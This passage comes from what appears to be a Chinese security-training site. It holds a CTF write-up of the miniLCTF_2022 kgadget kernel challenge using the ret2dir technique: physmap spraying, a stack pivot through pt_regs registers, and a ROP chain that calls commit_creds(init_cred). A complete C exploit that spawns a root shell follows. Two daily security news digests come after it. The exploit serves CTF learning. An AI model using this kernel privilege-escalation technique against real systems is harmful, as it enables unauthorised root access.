(2)通过大量覆盖phsymap内存的方法,提高命中率。使用堆喷技术,在该内存区填充大量的payload这样既不会影响payload的执行,又能够提高命中payload的可能性,填充效果如下图
在旧版本的内核中phsymap是具有可执行权限的,因此可以在用户空间中填充shellcode,但是如今的内核版本phsymap已经不具备可执行权限了,因此只能在里面填充ROP链
miniLCTF_2022-kgadget
题目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022
kgadget_ioctl
在kgadget_ioctl中,当我们输入的操作码为0x1BF52时,会将rdx寄存器中的值进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行。
run.sh
题目提供的run.sh开启了smep与smap的保护,但是没有开启地址随机化KASLR。因此虽然我们可以控制内核执行任意的地址,但是由于题目开启了smep与smap,因此该地址值不能选择为用户空间的地址。
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio.gz \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot \
-s
ret2dir利用流程
首先是如何执行我们指定的地址值的,可以看到实际是将我们传入的地址,解引用后存放到rbx寄存器,结果通过将rbx寄存器的值移动到栈顶,从而修改栈顶的值,接着调用ret指令,使得执行被解引用的值。
想要使得内核提权,需要执行commit(prepare_kernel_cred(0),接着通过swapgs和ret指令的组合。因此需要找到一段内存,将该流程的ROP链填充进去。这是因为kgadget_ioctl并不是执行我们传入进去的地址,而是需要将该地址先解引用后再执行,相当于需要执行传入地址对应的内容。因此若我们直接将commit函数的地址传入进去,它会执行commit函数指向的内容。
那么这段区域需要选取在哪里,若我们直接再用户空间中构造这段payload,接着将用户空间地址传递给ioctl是不可行的,因为内核开启了smap与smep的保护,因此对用户空间的访问都是不被允许的。
因此需要用到ret2dir的技巧,由于用户空间的虚拟地址同样会映射到物理地址,而在内核空间存在一段内存被称之为phsymap,它存放着物理地址的内容,因此我们在用户空间填充的内容,可以在phsymap找到。但是这段内存十分庞大,有64TB的大小,我们怎么才能确保搜索到存放我们payload的地址呢?答案就是尽可能的填充,使得我们用户空间的payload尽可能的大,那么我们搜索到的几率也会增大。
我们以页(4096)为单位开辟内存,并且循环了0x4000次,
void copy_dir()
{
char *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 4096; i++)
payload[i] = 'z';
}
...
int main()
{
...
for(int i = 0; i < 0x4000; i++)
copy_dir();
}
可以发现,在用户空间写入的z值,我们在内核空间同样可以访问到。当然写入的次数以及字节数是可以自己人为调整的,可以频繁尝试,尽可能的大的填充,这样我们找到的几率也更大。
当然有时候页的大小页不一定是4096,因此可以使用getconf PAGESIZE获得页的大小
因此我们已经找到能够访问到用户空间payload的内核地址值,接着需要将内核栈的空间迁移到phsymap上,这是因为用原来的内核栈无法使得连续gadget之间的调用。这里修改为测试gadget,用于测试不做栈迁移会发生什么。
unsigned long *payload;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;
可以看到执行一次pop rdi; ret,这是因为ret指令会将当前栈顶的值弹出栈,而我们输入的值不再栈上,而是在phsymap上。因此当我们输入的ROP链不再栈上时,就需要使用栈迁移。
由于内核中存在着需要改变rsp寄存器的gadget,只要使用add rsp, xxx; ret即可完成栈迁移。因此需要在栈上填入phsymap的地址,使得经过add rsp, xxx后能够使得rsp指向phsymap。为了使得栈上能够存储phsymap的地址,这里需要借助一个结构体pt_regs。
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};
可以看到这个结构体存放了一系列的寄存器,这是因为在进行系统调用时,会完成从用户态到内核态的切换,因此需要保存用户态时的上下文寄存器,而这些寄存器的值都需要保存在pt_regs中。使用下述代码测试上述pt_regs结构体存放的位置。
target = 0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);
可以看到我们在执行系统调用之前的参数,都会以pt_regs结构体中的顺序进行存放,这里需要注意的是r11寄存器用来存放了rflags的值。
不过出题者在会对pt_regs结构体中的部分寄存器的值进行修改。
最后只剩下r8与r9寄存器是可控的。但是只是用两个寄存器的值就足于完成栈迁移的操作了。
这里可以计算一下栈顶到r9寄存器的距离0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8,因此找到add rsp 0xc0的寄存器即可,因为ret指令还会进行一次弹栈操作。这里一开始是使用extract-image.sh进行提取,但是会报错。因此改用vmlinux-to-elf,这个工具提取出的符号比较全。工具的地址为https://github.com/marin-m/vmlinux-to-elf
提取出来就可以愉快的获取gadget。由于没找到add 0xc8的gadget,因此找了个平替的。再结合pop rsp; ret 指令即可完成栈迁移的操作。
add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
pop rsp; ret;
接着需要考虑堆喷的填充大量内存,因为题目没有开启地址随机化,因此即使不使用堆喷,也能够定位到具体的地址,但是实际情况是该地址可以随机,因此需要确保落入到其他地址也能完成利用。由于第一条指令必须是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;,因为需要进行栈迁移。因此在一页的内存中,因使用尽量多的该指令进行填充,确保栈迁移的正常执行。
由于完成提权的payload需要0x58的大小,而该指令会将rsp抬高0xc0,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd,因此这里循环复制该指令0x1dd次,接着将剩余空间使用ret指令(常用的堆喷的指令)填充(这里使用了xor esi , esi; ret,因为异或操作不影响。)
for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
最后是在提权时没找到合适gadget将prepare_kernel_cred的返回值即rax寄存器的值,移动到rdi寄存器中。因此学了下出题者的wp,发现出题者使用了init_cred结构体作为commit_creds函数的参数。
init_cred 是 Linux 内核中的一个结构体,用于表示进程的初始凭证。它包含了与进程相关的安全属性和权限信息。,init_cred 结构体通常用于表示初始的 root 凭证。因此只需要借助一个pop rdi;ret的gadget加上init_cred结构体的地址就可以完成root凭证的初始化了。
exp
最后完整的exp如下
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
#define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"
/*
0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;
unsigned long target;
unsigned long target1;
void save_state();
void copy_dir();
void back_door();
void back_door()
{
printf(RED"getshell");
system("/bin/sh");
}
void copy_dir()
{
unsigned long *payload;
unsigned int index = 0;
payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
for (int i = 0; i < 0x1dd; i++)
payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
for (int i = 0; i < 24; i++)
payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
payload[index++] = 0xffffffff82a6b700; //init_cred
payload[index++] = 0xffffffff810c92e0; //commit_creds
payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
payload[index++] = 0;
payload[index++] = 0;
payload[index++] = (unsigned long)back_door;
payload[index++] = user_cs;
payload[index++] = user_rflags;
payload[index++] = user_sp;
payload[index++] = user_ss;
}
void save_state()
{
__asm(
".intel_syntax noprefix;"
"mov user_ss, ss;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
printf(RED"[*]save state\n");
printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
printf(RED"[*]save finish\n");
}
int main()
{
save_state();
fd = open("/dev/kgadget", O_RDWR);
/*
for(int i = 0; i < 0x4000; i++)
copy_dir();
*/
target = 0xffff888000000000 + 0x6000000;
__asm(
".intel_syntax noprefix;"
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9, 0xffffffff811483d0;"
"mov r8, target;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1BF52;"
"mov rdi, fd;"
"syscall;"
".att_syntax;"
);
}
网络安全日报 2023年07月25日
1、挪威十二个政府部门网站遭受网络攻击
https://www.jpost.com/breaking-news/article-752214 挪威地方政府和区域发展部在一份声明中表示,挪威12个政府部门网站遭到网络攻击。相关负责人表示,他们在一家供应商的软件中发现了一个新的安全漏洞,并且有不明身份的攻击者利用了该漏洞,目前已经对该漏洞进行修复。此次攻击事件于7月12日被发现,是由于供应商平台中的异常流量所造成的。该负责人暂未提供更多的细节,并表示正在对此次网络攻击事件进行调查,对攻击者进行定性还为时过早。
2、Anonymous Sudan组织声称对OnlyFans进行攻击
https://cybernews.com/security/only-fans-hacked-anonymous-sudan-microsoft-attackers Anonymous Sudan组织在其Telegram频道中声称对OnlyFans网站进行攻击,该组织发布了一张Only Fans网站的截图、有关该网站的描述和一个Check Host链接,以此证明超过四十一个国家在连接该网站的服务器时出现超时情况。Anonymous Sudan组织通常会对受害者进行一到两个小时的DDoS攻击,此次也不例外,该组织称对OnlyFans网站进行持续一个小时的攻击。
3、超过十一万PockerStars用户的数据泄露
https://cybernews.com/news/pokerstars-data-breach PokerStars表示,它成为MOVEit Transfer事件的受害者,攻击者访问了敏感的用户数据。该公司开始向用户通知其数据可能在近期的MOVEit Transfer事件中遭到泄露。该公司表示,他们于6月2日获悉了该漏洞。在外部专家的协助下,得知相关的一些文件可能在5月30日至5月31日期间被未经授权的攻击者窃取。此次数据泄露事件影响了110291位用户,泄露的文件包含个人用户详细信息,包括姓名、地址和社会保障号码。
4、黑客声称窃取明尼苏达大学的数据信息
https://thecyberexpress.com/university-of-minnesota-data-breach 名称为“niggy”的黑客在黑客论坛中称其访问了明尼苏达大学的数据库,并从中窃取了敏感信息,包括超过七万个社会保障号码。该黑客称其访问的数据库中包含自1989年以来记录的数据,该数据库中存储了有关学生、教师和工作人员的敏感信息。泄露的数据包括两个CSV格式的表格,其中的“PS DIVERSITY”用于进行多样性统计,“PS_DWAD_APPL_data_HS”用于进行招生统计。目前该大学未对此次数据泄露事件进行回应。
5、Imagine360证实其数据泄露
https://cybernews.com/security/imagine360-data-breach Imagine360披露了一个影响超过十三万用户的数据泄露事件。该公司发现了第三方文件共享平台内部的异常活动,随即终止了对该平台的访问,并对该活动展开了调查。该公司在表示,一经授权的行为者窃取了Imagine360的数据,泄露的信息包括其用户的姓名、医疗信息、医疗保险信息和社会保障号码。此次数据泄露事件已影响超过十三万名客户。
6、Roblox泄露数千名用户的数据信息
https://www.infosecurity-magazine.com/news/old-roblox-data-leak-resurfaces 在线游戏平台Roblox遭遇数据泄露事件,此次事件影响了数千名用户。泄露的数据以CSV格式发布于黑客论坛中,包含4000个电子邮件地址,以及姓名、用户名、出生日期、电话号码、物理地址和IP地址等个人详细信息。一位知悉此次事件的人士称此次数据泄露事件最初发生于2021年,但当时并未受到过多关注,并且Roblox也未公开提起这起事件。近期相关泄露数据在黑客论坛中重新发布,并引发较多关注,并且已经有受影响的用户开始收到恶意电话、短信和电子邮件。Rob
7、OpenSSH 转发ssh-agent中的一个漏洞允许远程代码执行
https://securityaffairs.com/148770/hacking/openssh-critical-flaw.html Qualys 威胁研究单位 (TRU) 的研究人员在OpenSSH的转发 ssh-agent 中发现了一个远程代码执行漏洞。
8、专家警告银行业可能遭受 OSS 供应链攻击
https://securityaffairs.com/148757/cyber-crime/supply-chain-attack-banking-sector.html Checkmark 研究人员发现了首个针对银行业的已知定向 OSS 供应链攻击。
9、苹果修补了“三角测量行动”攻击中被利用的另一个内核0day漏洞
https://www.securityweek.com/apple-patches-another-kernel-flaw-exploited-in-operation-triangulation-attacks/ 苹果修复了“三角测量操作”漏洞链中使用的另一个零日漏洞。iOS 和 macOS 支持的设备受到影响。
10、Nubeva 的勒索软件密钥拦截和解密技术已在第三方实验室得到验证
https://www.securityweek.com/nubevas-ransomware-key-interception-and-decryption-technology-validated-in-third-party-lab/ NuRR 是一款声称能够在勒索软件加密过程开始时拦截并捕获加密密钥的产品。捕获密钥后,任何成功的加密都可以快速解密,而无需支付赎金。本次测试中使用的勒索软件变体包括 Lockbit 3、Blackcat/ALPHV、CL0P、PLAY、Black Basta、Ragnar Locker、Conti、REvil 等。NuRR 在 MISI 的所有 17 项
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月24日
1、Lazarus组织针对科技公司开发人员进行攻击活动
https://github.blog/2023-07-18-security-alert-social-engineering-campaign-targets-technology-industry-employees GitHub称确定了近期的一项针对科技公司员工个人账户的社会工程学攻击活动,并将此次攻击活动归因于Lazarus组织(又名Jade Sleet)。Lazarus组织在GitHub和其他社交媒体上(包括领英、Slack和Telegram等)创建一个或多个虚假账户来冒充开发者或招聘人员。在与目标建立联系后,攻击者邀请目标在GitHub存储库上进行合作,并说服目标克隆并执行其内
2、僵尸网络利用Zycel中的安全漏洞进行传播
https://www.fortinet.com/blog/threat-research/ddos-botnets-target-zyxel-vulnerability-cve-2023-28771 研究人员检测到几个利用Zycel漏洞(CVE-2023-28771)进行传播的DDoS僵尸网络。该漏洞的特征是存在影响多个防火墙模型的命令注入缺陷,未经授权的攻击者可以通过向目标设备发送特制的数据包来执行任意代码,其CVSS评分为9.8。自漏洞利用代码公布以来,恶意活动持续激增。研究人员发现,从5月开始,攻击活动显著增加,并且还发现了多个僵尸网络,包括基于Mirai的变体Dark.IoT,以及
3、研究人员发现针对Jira插件漏洞的攻击活动
https://isc.sans.edu/diary/Exploit+Attempts+for+Stagil+navigation+for+Jira+Menus+Themes+CVE202326255+and+CVE202326256/30038/ 研究人员发现攻击者正在利用Jira插件中的两个路径遍历漏洞进行攻击活动。这两个高危漏洞于2023年2月被披露,分别被标记为被追踪为CVE-2023-26255和CVE-2023-20256,并在该插件2.0.52版本中得到了解决。攻击者能够利用这些漏洞修改snjCustomDesignConfig和snjFooterNavigationConfi
4、Apache OpenMeetings中存在多个安全漏洞
https://thehackernews.com/2023/07/apache-openmeetings-web-conferencing.html Apache OpenMeetings是一个网络会议工具,该软件近期曝出多个安全漏洞,恶意攻击者可能会利用这些漏洞来夺取管理帐户的控制权,并在易受影响的服务器上运行恶意代码。其中的3个漏洞分别是CVE-2023-28936(CVSS评分:5.3)、CVE-2023-29032(CVSS评分:8.1)、CVE-2023-29246(CVSS评分:7.2)。攻击者可以将应用程序带入意外状态,从而接管管理员帐户,并利用获取的管理员权限进一步利用另一
5、超过15000台Citrix服务器受到CVE-2023-3519的影响
https://www.bleepingcomputer.com/news/security/over-15k-citrix-servers-likely-vulnerable-to-cve-2023-3519-attacks 暴露于网络中的Citrix Netscaler ADC和网关服务器可能容易受到未经身份验证的攻击者利用关键远程代码执行 (RCE) 漏洞作为零日漏洞的攻击。研究人员表示,根据版本信息,至少有15000台设备受到该缺安全漏洞(CVE-2023-3519) 的影响,并且由于一些已知易受攻击但没有版本哈希的修订版没有被标记,因此受到该漏洞影响的服务器总数要更多。
6、恶意的NPM软件包污染jsdelivr CDN服务
https://blog.checkpoint.com/securing-the-cloud/cdn-service-exposes-users-to-malicious-packages-for-phishing-attacks-invisible-to-security-tools jsdelivr是一个免费的开源内容交付网络(CDN),它提供了一种快速可靠的方式来托管和分发文件,使开发人员更容易在其web项目中包含外部库和资源。研究人员在NPM上检测到一个恶意软件包,该软件包中包含一个经过混淆处理的index.js文件,该文件会从jsdelivr CDN服务中获取一个.txt文件,将其
7、DHL 调查 MOVEit 漏洞事件,受害者人数超过 2000 万
https://therecord.media/dhl-moveit-breach-investigation 货运巨头 DHL 的英国分公司表示,正在调查因使用 MOVEit 软件而导致的数据泄露事件。Emsisoft的研究人员一直在追踪受影响的公司数量,发现至少有383家组织受到影响,20,421,414人的信息因此被泄露。
8、Cl0p 团伙通过 MOVEit 漏洞勒索攻击赚取超过 7500 万美元
https://www.bleepingcomputer.com/news/security/clop-gang-to-earn-over-75-million-from-moveit-extortion-attacks/ Clop 勒索软件团伙预计通过勒索大规模 MOVEit 数据盗窃活动的受害者获得7500万美元的收入。
9、事关 5G 安全威胁!CISA 和 NSA 发布最新指南
https://thehackernews.com/2023/07/cisa-and-nsa-issue-new-guidance-to.html 美国网络安全和情报机构发布了一系列建议,以解决 5G 独立网络切片的安全问题,并对可能产生的威胁进行更加有效的防范。
10、CNNVD发布《2022年度网络安全漏洞态势报告》漏洞呈连年增长态势
https://www.freebuf.com/articles/neopoints/372840.html 2022年度新增漏洞近2万5千个,达到历史新高,保持连年增长态势。超高危级漏洞占比呈持续上升趋势,漏洞修复率大幅提升,面临漏洞威胁形势依然严峻。整体形势出现新变化,呈现高风险漏洞数量突破新高、零日争夺凸显攻防新较量、单边漏洞管控扰乱国际秩序、网络霸权主义冲击网空权益等特点,网络安全整体形势更加复杂严峻。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

